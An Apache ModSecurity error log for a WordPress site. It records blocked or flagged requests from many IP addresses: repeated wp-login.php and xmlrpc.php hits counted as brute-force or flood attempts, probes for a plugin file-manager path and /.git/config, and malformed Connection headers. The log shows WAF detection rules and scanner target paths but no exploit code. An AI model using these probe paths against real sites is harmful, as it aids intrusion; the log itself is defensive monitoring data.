[Fri May 15 11:09:15.150110 2026] [:error] [pid 1188:tid 1199] [client 43.155.26.193:37724] [client 43.155.26.193] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agaOW9Y68iW8yuNkNzP4OQAAAAI"]
[Fri May 15 11:29:23.847138 2026] [:error] [pid 51234:tid 51257] [client 49.51.47.100:42970] [client 49.51.47.100] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agaTE972N9CbeiqcqgPz5gAAAVU"]
[Fri May 15 11:34:56.099038 2026] [:error] [pid 1189:tid 1230] [client 69.163.176.23:44604] [client 69.163.176.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.163.176.23, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agaUYAe36qIGegR4kcmXFAAAAEU"]
[Fri May 15 11:35:00.514685 2026] [:error] [pid 1189:tid 1225] [client 69.163.176.23:44604] [client 69.163.176.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.163.176.23, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agaUZAe36qIGegR4kcmXGwAAAEA"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 15 13:08:41.616773 2026] [:error] [pid 9304:tid 9321] [client 20.151.255.144:57219] [client 20.151.255.144] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "agaqWdzcINh7UFIbVoF8wAAAAAs"]
[Fri May 15 13:08:42.904836 2026] [:error] [pid 9392:tid 9411] [client 20.151.255.144:47411] [client 20.151.255.144] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "agaqWtBWJIjH1U9zGfaDPgAAARE"]
[Fri May 15 13:08:44.295613 2026] [:error] [pid 9305:tid 9353] [client 20.151.255.144:36750] [client 20.151.255.144] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "agaqXN5FZyBmdCM8GsFsUQAAAE8"]
[Fri May 15 13:08:45.651948 2026] [:error] [pid 9392:tid 9400] [client 20.151.255.144:36771] [client 20.151.255.144] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "agaqXdBWJIjH1U9zGfaDQAAAAQY"]
[Fri May 15 13:51:29.231180 2026] [:error] [pid 30272:tid 30287] [client 111.109.37.114:51514] [client 111.109.37.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 111.109.37.114, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aga0YXvc_jSFaQ_7_weP_gAAAY0"]
[Fri May 15 14:23:54.203589 2026] [:error] [pid 9307:tid 9377] [client 65.21.233.97:57752] [client 65.21.233.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.21.233.97, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aga7-iC43jY1IRzK5VY7HAAAAMw"]
[Fri May 15 14:23:55.449522 2026] [:error] [pid 9307:tid 9371] [client 65.21.233.97:57752] [client 65.21.233.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.21.233.97, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aga7-yC43jY1IRzK5VY7HQAAAMY"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 15 15:03:09.879939 2026] [:error] [pid 9392:tid 9406] [client 43.159.57.144:56882] [client 43.159.57.144] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agbFLdBWJIjH1U9zGfaiiQAAAQw"]
[Fri May 15 15:15:11.412319 2026] [autoindex:error] [pid 30208:tid 30214] [client 194.163.174.253:58620] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri May 15 15:22:02.118370 2026] [:error] [pid 9307:tid 9378] [client 43.133.60.72:33270] [client 43.133.60.72] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agbJmiC43jY1IRzK5VZEOQAAAM0"]
[Fri May 15 16:12:43.439610 2026] [:error] [pid 30208:tid 30221] [client 164.92.211.134:60142] [client 164.92.211.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.211.134, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agbVe5mLMCJujX-JTvggFAAAAIs"]
[Fri May 15 16:12:44.394822 2026] [:error] [pid 30208:tid 30218] [client 164.92.211.134:60142] [client 164.92.211.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.211.134, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agbVfJmLMCJujX-JTvggFgAAAIg"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 15 16:32:52.131765 2026] [:error] [pid 9305:tid 9341] [client 103.28.36.199:48216] [client 103.28.36.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.199, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agbaNN5FZyBmdCM8GsGBfwAAAEM"]
[Fri May 15 16:32:56.332436 2026] [:error] [pid 9305:tid 9342] [client 103.28.36.199:48216] [client 103.28.36.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.199, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agbaON5FZyBmdCM8GsGBgwAAAEQ"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 15 17:02:15.724126 2026] [:error] [pid 9305:tid 9357] [client 35.236.119.122:38854] [client 35.236.119.122] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "agbhF95FZyBmdCM8GsGDLAAAAFM"]
[Fri May 15 18:21:04.283504 2026] [:error] [pid 9392:tid 9412] [client 223.186.86.215:62840] [client 223.186.86.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.186.86.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agbzkNBWJIjH1U9zGfbFHQAAARI"]
[Fri May 15 18:21:23.479839 2026] [:error] [pid 30272:tid 30278] [client 223.186.86.215:61781] [client 223.186.86.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.186.86.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agbzo3vc_jSFaQ_7_wfVuwAAAYQ"]
[Fri May 15 18:21:35.171548 2026] [:error] [pid 30272:tid 30281] [client 223.186.86.215:61777] [client 223.186.86.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.186.86.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agbzr3vc_jSFaQ_7_wfVzgAAAYc"]
[Fri May 15 18:21:44.691866 2026] [:error] [pid 30240:tid 30244] [client 223.186.86.215:54370] [client 223.186.86.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.186.86.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agbzuK8ckHvaA6bpewtargAAAUI"]
[Fri May 15 18:21:55.403348 2026] [:error] [pid 9304:tid 9323] [client 223.186.86.215:54979] [client 223.186.86.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.186.86.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agbzw9zcINh7UFIbVoGUdAAAAA0"]
[Fri May 15 19:04:35.805646 2026] [:error] [pid 30208:tid 30233] [client 43.165.7.74:48940] [client 43.165.7.74] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agb9w5mLMCJujX-JTvgvdwAAAJc"]
[Fri May 15 21:43:47.999440 2026] [:error] [pid 30240:tid 30258] [client 176.9.16.85:37412] [client 176.9.16.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.9.16.85, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agcjE68ckHvaA6bpewtuagAAAVA"]
[Fri May 15 21:43:49.034393 2026] [:error] [pid 30240:tid 30256] [client 176.9.16.85:37412] [client 176.9.16.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.9.16.85, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agcjFa8ckHvaA6bpewtuawAAAU4"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 15 21:51:13.744754 2026] [:error] [pid 30272:tid 30286] [client 195.201.231.69:42586] [client 195.201.231.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.201.231.69, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agck0Xvc_jSFaQ_7_wf8ZAAAAYw"]
[Fri May 15 21:51:17.341062 2026] [:error] [pid 30272:tid 30292] [client 195.201.231.69:42586] [client 195.201.231.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.201.231.69, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agck1Xvc_jSFaQ_7_wf8ZQAAAZI"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 15 21:57:34.592980 2026] [:error] [pid 30240:tid 30258] [client 165.140.157.20:39058] [client 165.140.157.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.140.157.20, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agcmTq8ckHvaA6bpewtwBQAAAVA"]
[Fri May 15 21:57:37.618612 2026] [:error] [pid 30240:tid 30263] [client 165.140.157.20:39058] [client 165.140.157.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.140.157.20, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agcmUa8ckHvaA6bpewtwCAAAAVU"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 15 22:01:30.599740 2026] [:error] [pid 30272:tid 30281] [client 193.71.134.52:36782] [client 193.71.134.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.71.134.52, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agcnOnvc_jSFaQ_7_wf-_QAAAYc"]
[Fri May 15 22:01:31.595876 2026] [:error] [pid 30272:tid 30274] [client 193.71.134.52:36782] [client 193.71.134.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.71.134.52, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agcnO3vc_jSFaQ_7_wf-_wAAAYA"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 15 22:08:01.245393 2026] [:error] [pid 30272:tid 30293] [client 62.171.158.44:40194] [client 62.171.158.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.171.158.44, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agcowXvc_jSFaQ_7_wcAkAAAAZM"]
[Fri May 15 22:08:02.439163 2026] [:error] [pid 30272:tid 30295] [client 62.171.158.44:40194] [client 62.171.158.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.171.158.44, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agcownvc_jSFaQ_7_wcAkwAAAZU"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 15 22:08:47.137797 2026] [:error] [pid 30272:tid 30298] [client 43.133.14.237:35354] [client 43.133.14.237] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agco73vc_jSFaQ_7_wcAsgAAAZg"]
[Fri May 15 22:10:29.568884 2026] [:error] [pid 30240:tid 30244] [client 131.72.236.221:36296] [client 131.72.236.221] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 131.72.236.221, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agcpVa8ckHvaA6bpewtxUgAAAUI"]
[Fri May 15 22:10:30.895909 2026] [:error] [pid 30240:tid 30254] [client 131.72.236.221:36296] [client 131.72.236.221] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 131.72.236.221, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agcpVq8ckHvaA6bpewtxUwAAAUw"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 15 22:14:30.715662 2026] [:error] [pid 9307:tid 9387] [client 5.78.145.152:40696] [client 5.78.145.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.78.145.152, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agcqRiC43jY1IRzK5VZgogAAANY"]
[Fri May 15 22:14:33.721871 2026] [:error] [pid 9307:tid 9377] [client 5.78.145.152:40696] [client 5.78.145.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.78.145.152, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agcqSSC43jY1IRzK5VZgpAAAAMw"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 15 22:18:05.895729 2026] [:error] [pid 30272:tid 30285] [client 188.245.151.109:58736] [client 188.245.151.109] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.245.151.109, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agcrHXvc_jSFaQ_7_wcDLwAAAYs"]
[Fri May 15 22:18:06.917503 2026] [:error] [pid 30272:tid 30274] [client 188.245.151.109:58736] [client 188.245.151.109] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.245.151.109, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agcrHnvc_jSFaQ_7_wcDMAAAAYA"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 15 22:23:50.756982 2026] [:error] [pid 30240:tid 30265] [client 173.231.203.120:44338] [client 173.231.203.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.231.203.120, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agcsdq8ckHvaA6bpewtyigAAAVc"]
[Fri May 15 22:23:55.474414 2026] [:error] [pid 30240:tid 30249] [client 173.231.203.120:44338] [client 173.231.203.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.231.203.120, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agcse68ckHvaA6bpewtyiwAAAUc"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 15 22:24:46.167967 2026] [:error] [pid 9305:tid 9340] [client 162.214.79.109:55812] [client 162.214.79.109] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.214.79.109, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agcsrt5FZyBmdCM8GsGV-QAAAEI"]
[Fri May 15 22:24:47.177313 2026] [:error] [pid 9305:tid 9353] [client 162.214.79.109:55812] [client 162.214.79.109] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.214.79.109, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agcsr95FZyBmdCM8GsGV-wAAAE8"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 15 22:28:00.351883 2026] [:error] [pid 30208:tid 30223] [client 85.111.31.200:44156] [client 85.111.31.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.111.31.200, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agctcJmLMCJujX-JTvg_qQAAAI0"]
[Fri May 15 22:28:01.443156 2026] [:error] [pid 30208:tid 30215] [client 85.111.31.200:44156] [client 85.111.31.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.111.31.200, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agctcZmLMCJujX-JTvg_rAAAAIU"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 15 22:30:34.678361 2026] [:error] [pid 30272:tid 30282] [client 221.132.21.144:51946] [client 221.132.21.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 221.132.21.144, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agcuCnvc_jSFaQ_7_wcFAwAAAYg"]
[Fri May 15 22:30:36.952888 2026] [:error] [pid 30272:tid 30297] [client 221.132.21.144:51946] [client 221.132.21.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 221.132.21.144, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agcuDHvc_jSFaQ_7_wcFDAAAAZc"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 15 22:34:54.026128 2026] [:error] [pid 30208:tid 30221] [client 69.174.252.9:43100] [client 69.174.252.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.174.252.9, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agcvDpmLMCJujX-JTvhAJAAAAIs"]
[Fri May 15 22:34:55.149826 2026] [:error] [pid 30208:tid 30220] [client 69.174.252.9:43100] [client 69.174.252.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.174.252.9, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agcvD5mLMCJujX-JTvhAJgAAAIo"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 15 22:38:25.976577 2026] [:error] [pid 9392:tid 9402] [client 172.233.21.102:60480] [client 172.233.21.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.233.21.102, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agcv4dBWJIjH1U9zGfbnPQAAAQg"]
[Fri May 15 22:38:27.361748 2026] [:error] [pid 9392:tid 9398] [client 172.233.21.102:60480] [client 172.233.21.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.233.21.102, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agcv49BWJIjH1U9zGfbnPgAAAQQ"], referer: https://rcacivilgroup.com/wp-login.php
